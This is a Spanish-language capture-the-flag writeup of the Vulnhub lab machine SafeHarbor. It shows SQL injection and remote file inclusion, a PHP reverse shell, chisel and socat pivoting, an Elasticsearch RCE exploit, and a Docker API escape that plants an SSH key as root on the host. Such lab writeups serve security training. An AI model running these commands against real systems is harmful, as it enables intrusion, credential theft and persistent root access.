SafeHarbor
Writeup de la máquina SafeHarbor de Vulnhub.
Configuraciones Previas
En el caso de que no tengamos conectividad con la máquina Víctima lo que debemos hacer es realizar alguna de estas dos soluciones.
Primera Solución
En primer lugar, lo que debemos hacer es mientras esta el GRUB (gestor de arranque) activo pulsar la letra E y estableceremos el bit de modo de root a 1 con la siguiente instrucción y seguidamente pulsaremos CTRL+X.
Automáticamente recibiremos una consola como root y en el archivo /etc/network/interfaces
introduciremos lo siguiente.
Una vez hechas estas configuraciones, reiniciaremos la máquina y al hacer un arp-scan deberíamos ver la Dirección IP de la máquina víctima pero no es el caso por lo que debemos de probar la siguiente solución.
Segunda Solución
Volveremos a pulsar la letra E mientras esta activa el GRUB (gestor de arranque) y estableceremos el bit de modo de root a 1 con la siguiente instrucción y seguidamente pulsaremos CTRL+X.
Modificaremos la contraseña del root para poder editar la interfaz de red una vez se haya desplegado, es decir ejecutaremos la siguiente instrucción y reiniciaremos la máquina.
Una vez se haya iniciado la máquina víctima nos logearemos con el usuario root gracias a la contraseña que le hemos establecido previamente y ejecutaremos los siguiente comandos para asignar una Dirección IP estática a la interfaz ens33.
Una vez hechas estas comprobaciones al ejecutar un arp-scan veremos como ahora nos detecta la máquina víctima.
Reconocimiento
En primer lugar, aplicaremos un escaneo con arp-scan para ver la Dirección IP de la máquina víctima.
Después le lanzaremos un ping para ver si se encuentra activa dicha máquina, además de ver si acepta la traza ICM. Comprobamos que efectivamente nos devuelve el paquete que le enviamos por lo que acepta la traza ICMP, gracias al ttl podremos saber si se trata de una máquina Linux (TTL 64 ) y Windows (TTL 128), y vemos que se trata de una máquina Linux pues cuenta con un TTL de 64, además gracias al script whichSystem.py podremos conocer dicha información.
Nmap
En segundo lugar, realizaremos un escaneo usando Nmap para ver que puertos de la máquina víctima se encuentra abiertos.
1
nmap -p- --open --min-rate 5000 -sS -v -Pn -n 192.168.18.50 -oG allPorts
Observamos como nos reporta que se encuentran abiertos los puertos 22 y 80.
Ahora, gracias a la utilidad getPorts definida en nuestra .zshrc podremos copiarnos cómodamente todos los puerto abiertos de la máquina víctima a nuestra clipboard.
A continuación, volveremos a realizar un escaneo con Nmap, pero esta vez se trata de un escaneo más exhaustivo pues lanzaremos unos script básicos de reconocimiento, además de que nos intente reportar la versión y servicio que corre para cada puerto.
1
nmap -p22,80 -sCV 192.168.18.50 -oN targeted
No observamos nada interesante a través del escaneo de Nmap.
Explotación
SQL Injection
Como estaba el puerto 80 abierto nos dirigimos a la página web y nos encontramos un formulario para logearnos.
Lo primero que se nos ocurre probar aquí es una básica SQL Injection como es ' or 1=1-- -
.
En este panel de login ocurre una cosa muy extraña, la primera vez que intentas la SQL Injection te da error, y en el segundo intento es cuando funciona correctamente.
RFI
Tras investigar por la página web no encontraremos nada pero algo que nos llama la atención es la forma en la que se están mostrando las diferentes páginas, es decir a través del parámetro p
.
Por lo que probaremos los distintos tipos de LFI que existen pero no tendremos éxito.
También podemos probar los distintos tipos de Wrappers LFI para leer el código fuente de los archivos php, un ejemplo sería el siguiente:
En este caso será con el código fuente del archivo
transfer.php
donde encontramos información sensible.
1
php://filter/convert.base64-encode/resource=transfer
Nos copiamos la cadena en base64 y aplicamos en siguiente comando para decodificarla:
1
echo "dCI+DQogIDxkg0KPC9ib2R5Pg...0K" | base64 -d
Veremos las credenciales para una base de datos por lo que nos guardaremos dicha información en un fichero.
Miraremos todo el código fuente de los archivos pero no encontraremos nada interesante, por lo pasaremos a probar si es vulnerable a un RFI.
Destacar que para que se acontezca el RFI debemos acceder a los archivos de la página web, como lo son
balance
,transfer
. De diferente forma no podremos acontecer el RFI pues por detrás se está aplicando una validación para que únicamente se muestren dichos archivos. Además, si por ejemplo accedemos al archivobalance.php
veremos que nos da un error pues automáticamente se esta concatenando la extensión.php
por lo que tan solo deberemos acceder al archivo con nombrebalance
.
Nos montaremos un servidor con python y creamos un archivo llamado balance.php con el contenido de: cmd.php
Observamos que tenemos capacidad de ejecución remota de comandos y además veremos que estamos en un contenedor.
Como la bash no está instalada no podremos enviarnos una bash por lo que en ese caso pasaremos a usar el php-reverse-shell.php.
Creamos un archivo con nombre con alguno de los archivos de la página web como por ejemplo transfer.php y como contenido meteremos el de la Reverse Shell (php-reverseshell, nos pondremos en escucha (rlwrap nc -nlvp 443
) y accederemos a dicho archivo a través de la web para así poder recibir la Reverse Shell.
Primer Contenedor
Lo primero que nos daremos cuenta al recibir la conexión es que contamos con una shell muy incómoda ya que no podemos hacer CTRL+C, lo peor es que no existe ninguna solución para poder operar más cómodamente por lo que tendremos que adaptarnos a esta shell.
Como bien hemos visto antes a través del RCE estamos en un contenedor, por lo que seguramente tendremos que escapar de este.
Una vez recibimos la Reverse Shell la página web se queda colgada, para evitar esto podemos hacer lo siguiente:
Nos transferimos el archivo que contiene la Reverse Shell
wget 192.168.26.10/transfer.php
. Abrimos otra terminal y nos pondremos en escucha conrlwrap nc -nlvp 433
. Ejecutaremos de nuevo la Reverse Shell pero en segundo plano, es decir:nohup php /tmp/transfer.php &
.De esta forma el socket que se abre la Reverse Shell a través de la página web podemos cerrarlo pues nos hemos abierto una nuevo conexión reversa en segundo plano.
Si miramos la tabla de arp veremos que existen muchos más contenedores por lo que debemos realizar un port forwading, para ello usaremos chisel y así poder analizar todos los contenedores que existen con sus respectivos puertos.
Vemos que el contenedor con Dirección IP 172.20.0.138 contiene un servidor de mysql.
Veremos que el comando arp -n
nos muestra menos información por lo que es más recomendable usar arp -a
.
Para realizar dicho redireccionamiento de puerto nos descargaremos chisel usando wget.
1
wget 192.168.26.10/chisel
En la máquina atacante nos montaremos el servidor de chisel por el puerto 1234.
1
./chisel server 1234 --reverse
Y en la máquina víctima nos conectaremos a dicho servidor de chisel que esta siendo ofrecido por el puerto 1234 y además nos mandaremos una conexión de tipo SOCKS.
1
./chisel client 192.168.26.10:1234 R:socks
Para que nos funcione correctamente el Port Forwarding es importante tener configurado correctamente el archivo
/etc/proxychains.conf
.
Gracias a proxychains y a Nmap comprobaremos que en la Dirección IP 172.20.0.138 está abierto el puerto 3306 correspondiente a MySQL.
Usando proxychains accederemos a la base de datos de mysql gracias a las credenciales encontradas anteriormente root:TestPass123!.
1
proxychains mysql -u root -h 172.20.0.138 -p
En la base de datos HarborBankUsers encontraremos las credenciales necesarias para conectarnos como dichos usuarios en la página web.
Volveremos a aprovecharnos de proxychains y Nmap para descubrir que contenedores tienen el puerto 80 abierto, aunque lo que realmente nos permite esto es actualizar la tabla de arp y así poder ver los demás contenedores que existen.
De esta forma el escaneo de Nmap irá muy lento.
1
proxychains nmap -sT -p80 --open -T5 -v -n -Pn 172.20.0.0/24
En su lugar usaremos esta forma ya que es mucho más rápida y optimizada.
1
seq 1 254 | xargs -P50 -I {} proxychains nmap -sT -p80 --open -T5 -v -n -Pn 172.20.0.{} 2>&1 | grep "open port"
Si volvemos a ver la tabla de arp veremos que han aperecido nuevas Direcciones IP ya que se han enviado trazas ARP al hacer el escaneo con Nmap.
Segundo Contenedor (ElasticSearch)
Como el ElasticSearch es más propenso a ser vulnerable intentaremos abuscar de este servicio para ganar acceso a otro contenedor y así tener otra vía de acceso, por lo que gracias al foxyproxy accederemos y vemos que tiene una versión antigua (1.4.2) ya que ahora van por la 8.15.
Usando searchsploit
nos daremos cuenta que es vulnerable a un RCE.
Volveremos a usar proxychains
para lanzar dicho exploit sobre el contenedor víctima, ya que dicho contenedor tan sólo es accesible desde el contenedor que hemos ganado acceso.
1
proxychains python2 elasticsearch_exploit.py 172.20.0.124
Observaremos como recibimos una shell aunque no se trata de una shell totalmente interactiva por lo que no podremos cambiarnos directorios y demás, es decir al intentar algún comando de estos nos sacara de la shell pocha.
Como estamos como el usuario root podemos ver sus archivos de configuración (.bash_history
) y vemos que en la contenedor con la Dirección IP 172.20.0.1 está abierto el puerto 2375 correspondiente a la Docker API.
Como desde el primer contenedor no podemos acceder a la Docker API debemos crear un nuevo túnel gracias a socat a través del contenedor del elascticsearch.
Escalada
Último Contenedor
Para poder operar más cómodamente y así poder explotar la Docker API, en resumen debemos hacer: En el contenedor 2 del elasticsearch con Dirección IP 172.20.0.124 debemos de crear un túnel hacia nuestro Chisel Server pero debemos de aplicar un pequeño salto a través del Contenedor 1.
En primer lugar, en el Contenedor 2 (Elascticsearch) nos conectaremos al contenedor accesible (Contenedor 1) usando el siguiente comando con chisel:
1
./chisel client 172.20.0.4:6564 R:8888:socks
En el Contenedor 1 con IP 172.20.0.4 gracias a socat redirigimos el socket que nos llegue por el puerto 6564 a nuestra Dirección IP de atacante al puerto 1234 donde se encuentra nuestro Chisel Server, es decir debemos ejecutar el siguiente comando:
1
./socat tcp-l:6564,fork TCP:192.168.26.10:1234
Observamos como recibimos una nueva conexión a la cual podemos acceder a través del puerto 8888.
Es importante tener bien configurado el
/etc/proxychains.conf
para que podamos usar dos conexiones conexiones distintas, es decir tener habilitado el mododynamic_chain
.
Gracias al proxychains
dinámico y al uso de curl podemos ver como efectivamente en la Dirección IP 172.20.0.1 correspondiente a la máquina víctima real (192.168.26.50) podemos acceder a la Docker API. En primer lugar, lo que debemos hacer es listar las imágenes que se encuentran disponibles en la máquina víctima.
1
proxychains curl http://172.20.0.1:2375/images/json 2>/dev/null | tail -n 1 | jq
Observamos que existen un montón de imágenes, pero nos quedaremos con la alpine:3.2
.
Usando la anterior imagen procederemos a crear un nuevo contenedor con una montura de la raíz del sistema víctima en la ruta /mnt
del contenedor para lograr esto ejecutaremos:
1
proxychains curl -X POST -H "Content-Type: application/json" http://172.20.0.1:2375/containers/create\?name=test -d '{"Image":"alpine:3.2", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'
Para poner en marcha el anterior contenedor debemos copiarnos el id
que nos devuelve el anterior comando y ejecutar el siguiente comando sustituyéndolo por dicho <id>
.
1
proxychains curl -X POST -H "Content-Type: application/json" "http://172.20.0.1:2375/containers/<id>/start\?name=test"
Ahora debemos seleccionar el comando que queremos ejecutar en dicho contenedor (cat /mnt/root/id_rsa
), para ello ejecutaremos el siguiente comando poniendo el id
correspondiente del contenedor en <id>
.
1
curl -X POST -H "Content-Type: application/json" "http://172.20.0.1:2375/containers/<id>/exec" -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/root/id_rsa"]}'
Por último lo que debemos hacer es ejecutar dicha instrucción(cat /mnt/root/id_rsa
), para ello ejecutaremos el siguiente comando pasándole el identificador devuelto por el anterior comando en <id>
.
Si queremos que nos muestre el output de dicho comando es importante añadir:
--output -
1
proxychains curl -X POST -H "Content-Type: application/json" "http://172.20.0.1:2375/exec/<id>/start" -d '{}' --output -
Observamos como no existe la id_rsa
:
Por lo que usaremos otro método para ganar acceso a la máquina el cual se basa en poner nuestra clave pública (id_rsa.pub
) en /mnt/root/.ssh/authorized_keys
, es decir ejecutaremos:
1
proxychains curl -X POST -H "Content-Type: application/json" http://172.20.0.1:2375/containers/c383e3115b5d22f943e0d09f80ad642a6e676f4eb7228606ce7fd74d41218832/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "echo c3NoLXJzYSBBQUFBQjNOemFDMXljMkVBQUFBREFRQUJBQUFCZ1FDNTE4MXRuakJrNk8rUTRpTTk2ejVybGFBcEZ1MEZNekwvalJZR0RZU2ZXNzluQTJLSS9aSEcvVVdOZEFHcUZ1Y3pUY3BTeWtJcTMrT0hJTEh5L0Jydm9MVFI3ZWYrZy9DdWwzS3RraTdOSkZISlNqRlh1OVcwbEdaTzZjNmpZZ0FCVzlsOXlhS3pQallmK2lTbnJBWDk0OUNDeTROaTlhaUs4OWdKSjFHMTZPcGZYYTVuOWtwSGJjRXg5V1BqUFE4OXQrL1ZHbHpYL1BoRHN2MGI1VkpkQnFSZ092aC9TdHFRUFJnalpqcGcvL01Cb0M4N2NTcHJVa1JxWTlaUWJZWU9LbWtDWDYxYVVQUmgrNktDd0hUTDdaZFk3MEJYM3RMWk5ZZ3hzR0R1U29NdHc1azB3UTFJUkkwM2ZFNXV1ZkxIc3BGcm5aeWtlV0pXbk03dG9wOWRoeDF1OWFFTktxbmN0M09iejl2dVMwekQwOExIY0lhbktHcUFwamkrMmZzRVpLSXk0cmloMlNCVi9kd2xLN3A1emM5U09NU1djNWptY0FMS2JtRDkxaE5IdE1LREExTWl5SDlENTNmSzZWWHV0aDN3ZHVqRTVQWGxuUnNVcmNYWVhsZ2N3OFErWG1DMW4rVk01NmloUW9SRGo4SjZycUFpWDhJOGZFd1BJK2s9IHRlcnJvckBwYXJyb3QK | base64 -d > /mnt/root/.ssh/authorized_keys"]}'
Para ejecutar el siguiente comando nos copiaremos el identificador que nos devuelve el anterior comando y lo ponemos en <id>
.
1
proxychains curl -X POST -H "Content-Type: application/json" "http://172.20.0.1:2375/exec/<id>/start" -d '{}' --output -
Nos conectaremos a la máquina víctima a través de ssh usando nuestra id_rsa
.
1
ssh -i /home/terror/id_rsa root@192.168.26.50
Observamos como hemos podido conectarnos a la máquina víctima gracias a que nuestra id_rsa.pub
se encuentra en el authorized_keys
de nuestra máquina víctima.